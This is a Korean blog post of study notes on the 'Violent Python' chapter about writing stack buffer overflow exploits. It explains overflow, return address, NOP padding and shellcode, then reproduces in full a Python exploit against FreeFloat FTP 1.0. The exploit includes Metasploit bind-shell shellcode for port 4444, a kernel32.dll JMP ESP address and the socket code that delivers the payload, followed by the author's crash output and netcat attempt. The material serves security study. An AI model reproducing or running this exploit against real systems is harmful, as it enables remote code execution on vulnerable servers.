해커의 언어, 치명적 파이썬 – CHAPTER 2 침투 테스트 – 제로 데이 개념의 공격 코드 개발하기

 

Notice : 해당 자료가 저작권등에 의해서 문제가 있다면 바로 삭제하겠습니다.
연구목적으로 사용하지 않고 악의적인 목적으로 이용할 경우 발생할 수 있는 법적은 책임은 모두 본인에게 있습니다.

VIOLENT_PYTHON_S
[구매하기]

해커의 언어, 치명적 파이썬 – CHAPTER 1 소개
해커의 언어, 치명적 파이썬 – CHAPTER 2 침투 테스트 – 포트 스캐너 만들기
해커의 언어, 치명적 파이썬 – CHAPTER 2 침투 테스트 – SSH 봇넷 구축하기
해커의 언어, 치명적 파이썬 – CHAPTER 2 침투 테스트 – FTP와 웹을 이용한 대규모 공격
해커의 언어, 치명적 파이썬 – CHAPTER 2 침투 테스트 – 컨피커 노력하면 된다
해커의 언어, 치명적 파이썬 – CHAPTER 2 침투 테스트 – 제로 데이 개념의 공격 코드 개발하기

2.6 제로 데이 개념의 공격 코드 개발하기
– 메타스플로잇 프레임워크에는 약 800여개 이상의 공격코드 탑재
– 공격코드를 직접 작성해야 할 경우, 파이썬을 이용해서 과정을 단순화
– 버퍼 오버플로우 개념이해

2.6.1 스택 기반의 버퍼 오버플로우 공격
– 사용자의 입력값을 검증하지 않고 사용하여 EIP의 값을 덮어씀으로 공격자가 올린 쉘코드를 실행하도록 함
– 스택 기반의 버퍼 오버플로우는 공격코드 벡터의 원조격(많이 있고, 계속 증가중)
– 스택 기반의 버퍼 오버플로우 공격코드의 핵심적인 요소들
1. 오버플로우 : 스택에 할당되어있는 겂보다 더큰 입력값을 사용자가 입력하는것
2. 리턴주소 : 스텍의 맨위로 직접 점프하는데 사용되는 4바이트 주소
3. 패딩 : 쉘코드앞에있는 NOP(no operation) 지시들. 이것은 공격자가 짇접 점프하여 주소를 추측할수 있게 해준다.
4. 쉘코드 : 어셈블리언어로 작성된 코드조각

2.6.2 공격의 핵심 요소 추가하기
– shellcode변수 : 메타스플로잇 프레임워크로 생성한 페이로드를 핵사값으로 인코딩하여 포함
– overflow변수 : 알파벳 A를 246개 포함
– return주소변수 : 스텍의 맨위로 직접 점프하게 하는 kernel32.dll의 주소
– padding변수 : 150개의 NOP 지시 포함
– crash변수 : 위의 모든변수를 하나로 만듬

2.6.3 악성코드 전송하기
– Berkeley Socket API으로 공격대상 호스트의 TCP 21 포트에 연결
– 연결 성공시 익명의 사용자 이름과 페스워드 정송
– FTP명령 “RETR”과 crash 변수를 전송

2.6.4 공격코드 모두 통합하기
– 패킷스톰(http://packetstormsecurity.com/)에 포스팅된 프레이만(Freyman)의 원본 공격코드가 완성
– FreeFloat FTP를 WindowsXP SP2, SP3 에 설치하고 테스트
– 프레이만은 취약한 공격대상의 TCP 4444포트에 바인딩하는 쉴코드를 사용
– 공격코드 실행후, netcat을 사용해 4444에 연결

#!/usr/bin/Python
#Title: Freefloat FTP 1.0 Non Implemented Command Buffer Overflows
#Author: Craig Freyman (@cd1zz)
#Date: July 19, 2011
#Tested on Windows XP SP3 English
#Part of FreeFloat pwn week
#Vendor Notified: 7-18-2011 (no response)
#Software Link: http://www.freefloat.com/sv/freefloat-ftp-server/freefloat-ftp-server.php

import socket,sys,time,struct

if len(sys.argv) < 2:
     print "[-]Usage: %s <target addr> <command />" % sys.argv[0] + "\r"
     print "[-]For example [filename.py 192.168.1.10 PWND] would do the trick."
     print "[-]Other options: AUTH, APPE, ALLO, ACCT"
     sys.exit(0)

target = sys.argv[1]
command = sys.argv[2]

if len(sys.argv) > 2:
     platform = sys.argv[2]

#./msfpayload windows/shell_bind_tcp r | ./msfencode -e x86/shikata_ga_nai -b "\x00\xff\x0d\x0a\x3d\x20"
#[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)

shellcode = ("\xbf\x5c\x2a\x11\xb3\xd9\xe5\xd9\x74\x24\xf4\x5d\x33\xc9" 
"\xb1\x56\x83\xc5\x04\x31\x7d\x0f\x03\x7d\x53\xc8\xe4\x4f" 
"\x83\x85\x07\xb0\x53\xf6\x8e\x55\x62\x24\xf4\x1e\xd6\xf8" 
"\x7e\x72\xda\x73\xd2\x67\x69\xf1\xfb\x88\xda\xbc\xdd\xa7" 
"\xdb\x70\xe2\x64\x1f\x12\x9e\x76\x73\xf4\x9f\xb8\x86\xf5" 
"\xd8\xa5\x68\xa7\xb1\xa2\xda\x58\xb5\xf7\xe6\x59\x19\x7c" 
"\x56\x22\x1c\x43\x22\x98\x1f\x94\x9a\x97\x68\x0c\x91\xf0" 
"\x48\x2d\x76\xe3\xb5\x64\xf3\xd0\x4e\x77\xd5\x28\xae\x49" 
"\x19\xe6\x91\x65\x94\xf6\xd6\x42\x46\x8d\x2c\xb1\xfb\x96" 
"\xf6\xcb\x27\x12\xeb\x6c\xac\x84\xcf\x8d\x61\x52\x9b\x82" 
"\xce\x10\xc3\x86\xd1\xf5\x7f\xb2\x5a\xf8\xaf\x32\x18\xdf" 
"\x6b\x1e\xfb\x7e\x2d\xfa\xaa\x7f\x2d\xa2\x13\xda\x25\x41" 
"\x40\x5c\x64\x0e\xa5\x53\x97\xce\xa1\xe4\xe4\xfc\x6e\x5f" 
"\x63\x4d\xe7\x79\x74\xb2\xd2\x3e\xea\x4d\xdc\x3e\x22\x8a" 
"\x88\x6e\x5c\x3b\xb0\xe4\x9c\xc4\x65\xaa\xcc\x6a\xd5\x0b" 
"\xbd\xca\x85\xe3\xd7\xc4\xfa\x14\xd8\x0e\x8d\x12\x16\x6a" 
"\xde\xf4\x5b\x8c\xf1\x58\xd5\x6a\x9b\x70\xb3\x25\x33\xb3" 
"\xe0\xfd\xa4\xcc\xc2\x51\x7d\x5b\x5a\xbc\xb9\x64\x5b\xea" 
"\xea\xc9\xf3\x7d\x78\x02\xc0\x9c\x7f\x0f\x60\xd6\xb8\xd8" 
"\xfa\x86\x0b\x78\xfa\x82\xfb\x19\x69\x49\xfb\x54\x92\xc6" 
"\xac\x31\x64\x1f\x38\xac\xdf\x89\x5e\x2d\xb9\xf2\xda\xea" 
"\x7a\xfc\xe3\x7f\xc6\xda\xf3\xb9\xc7\x66\xa7\x15\x9e\x30" 
"\x11\xd0\x48\xf3\xcb\x8a\x27\x5d\x9b\x4b\x04\x5e\xdd\x53" 
"\x41\x28\x01\xe5\x3c\x6d\x3e\xca\xa8\x79\x47\x36\x49\x85" 
"\x92\xf2\x79\xcc\xbe\x53\x12\x89\x2b\xe6\x7f\x2a\x86\x25" 
"\x86\xa9\x22\xd6\x7d\xb1\x47\xd3\x3a\x75\xb4\xa9\x53\x10" 
"\xba\x1e\x53\x31")

#7C874413   FFE4             JMP ESP kernel32.dll
ret = struct.pack('<L', 0x7C874413)
padding = "\x90" * 150
crash = "\x41" * 246 + ret + padding + shellcode

print "\
[*] Freefloat FTP 1.0 Any Non Implemented Command Buffer Overflow\n\
[*] Author: Craig Freyman (@cd1zz)\n\
[*] Connecting to "+target

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
    s.connect((target,21))
except:
    print "[-] Connection to "+target+" failed!"
    sys.exit(0)

print "[*] Sending " + `len(crash)` + " " + command +" byte crash..."

s.send("USER anonymous\r\n")
s.recv(1024)
s.send("PASS \r\n")
s.recv(1024)
s.send(command +" " + crash + "\r\n")
time.sleep(4)

FreefloatFTPServer 다운로드

실행결과

# python freefloat.py 192.168.110.128 PWND
[*] Freefloat FTP 1.0 Any Non Implemented Command Buffer Overflow
[*] Author: Craig Freyman (@cd1zz)
[*] Connecting to 192.168.110.128
[*] Sending 768 PWND byte crash...
# nc 192.168.110.128 4444
(UNKNOWN) [192.168.110.128] 4444 (?) : Connection timed out

스크립트를 실행을 하면 아래와 같이 Freefloat 가 crach가 발생하고 다운이 되지만, nc으로 4444 포트로 접속되지는 않는다..ㅠ
crash

 

This entry was posted in Python/Ruby/Perl, Reading and tagged , . Bookmark the permalink.

5 Responses to 해커의 언어, 치명적 파이썬 – CHAPTER 2 침투 테스트 – 제로 데이 개념의 공격 코드 개발하기

댓글 남기기